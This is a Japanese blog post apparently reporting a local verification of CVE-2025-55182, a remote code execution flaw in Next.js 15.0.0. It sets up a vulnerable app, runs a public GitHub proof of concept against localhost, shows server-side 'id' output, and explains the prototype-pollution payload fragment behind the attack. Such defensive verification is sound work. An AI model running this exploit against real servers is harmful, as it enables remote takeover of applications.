CVE-2025-55182 検証レポート|Next.js React2Shell の脆弱性とPoC

技術系

Next.js を利用するアプリケーションに対し、リモートコード実行(RCE)の危険性が指摘された CVE-2025-55182。本記事では、この脆弱性の検証環境の構築から Proof of Concept(PoC)を用いた攻撃実行までの手順を詳しく解説する。

本検証はあくまでローカル環境での安全な PoC 実行を目的としており、外部への攻撃目的の利用を禁止する。


検証環境の概要

項目内容
OSKali Linux
Node.jsv20.19.5
Next.js15.0.0(脆弱性を含む)
使用PoCGitHub: msanft/CVE-2025-55182

Next.js アプリ作成

まずは脆弱性の影響を受けるとされる Next.js 15.0.0 を指定してアプリを生成。

npx create-next-app@15.0.0 myapp

対話形式の設定では以下のように選択:

設定項目選択
TypeScriptYes
ESLintYes
Tailwind CSSYes
src/ ディレクトリ構成Yes
App RouterYes
TurbopackYes
import aliasYes

依存関係のインストールが走り、以下の通り完了。

Success! Created myapp at /home/kali/test/react-test/myapp

ログに次の警告が表示された:

npm WARN deprecated next@15.0.0: This version has a security vulnerability.
See https://nextjs.org/blog/CVE-2025-66478 for more details.

セキュリティ脆弱性(CVE-2025-66478)が含まれていることを Next.js が警告

本検証の目的に合致。


cd myapp
npm install
npm run build
npm start

実行後、サーバは正常起動し次のURLで待受状態に:

Local: http://localhost:3000

ブラウザでアクセス確認する。

無事に実行できた。


PoC の実行

使用PoCは以下

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182
Explanation and full RCE PoC for CVE-2025-55182. Contribute to msanft/CVE-2025-55182 development by creating an account ...

公式 PoC を GitHub からクローンし、Kali Linux 上で展開。

git clone https://github.com/msanft/CVE-2025-55182.git
cd CVE-2025-55182
python3 poc.py http://localhost:3000/

実行結果(抜粋):

id
500 0:{"a":"$@1","f":"","b":"RffHu2cal6_ttW0tpnSlf"}
1:E{"digest":"uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...

id コマンドがサーバ側で実行され、その結果がクライアントへ返却されている

完全に任意コード実行(RCE)が成立


攻撃メカニズムの概要

promisの動き方を理解する必要がある。
例えば以下のようなコードがあるとき、

Promise.resolve(1)
.then(x => console.log(x)); // → 1

Promise は 非同期処理の結果を表すオブジェクトであり、.then() を使って「成功時に何をするか」を登録できる。

またJavaScript では、すべてのオブジェクトは プロトタイプ を持つ。
プロトタイプは「共通のメソッドを持つ親オブジェクト」。

例えば以下のコード。

const obj = {};
console.log(obj.toString); // → Object.prototype.toString

オブジェクトを作るだけで .toString() が使えるのは
プロトタイプが継承されているから。

誰かが __proto__ を書き換えると

Object.prototype.hacked = "!!!";
const a = {};
console.log(a.hacked);  // → "!!!"

新しく作られた 全ての オブジェクトに影響する。

今回の攻撃コードでは、以下の部分があることにより、送信した任意の実行コードを__proto__のthenとして解釈してしまう。

"then": "$1:__proto__:then"

これによりObject.prototype.then に攻撃コードが混入する。

Next.js は内部で「Promise ではないが then を持つオブジェクト」を
「Thenable = Promise として扱われる物」として解釈する箇所がある。

その結果obj.then() が実行され、ペイロードが実行されるという流れ。


脆弱性回避方法

Next.js公式が「15.0.0 は脆弱性あり」と明言しているため:

バージョンアップが唯一の対策

バージョン修正情報:


検証結果まとめ

検証項目結果
RCE が成立するか?成立(PoC 成功)
サーバ内部情報の取得uid / gid / グループ一覧
利用環境依存要素Node.js 20 + Next.js 15.0.0 で再現
対策方法Next.js 更新のみ確認済

検証で使用したログ(抜粋)

┌──(kali㉿kali)-[~/test/react-test/CVE-2025-55182]
└─$ python3 poc.py http://localhost:3000/
id
500 0:{"a":"$@1","f":"","b":"RffHu2cal6_ttW0tpnSlf"}
1:E{"digest":"uid=1000(kali) gid=1000(kali) ..."}

さいごに

今回の検証で、

  • Next.js 15.0.0 の脆弱性は実在する
  • PoC により RCE が容易に成立する
  • 環境への影響は非常に大きいと考えられる

という点が明確となった。

Webアプリ開発者・運用者は速やかにパッチ適用を検討すべき状況であり、特に Next.js を扱う案件ではバージョン管理が安全の最低ラインだといえる。

スポンサーリンク
タイトルとURLをコピーしました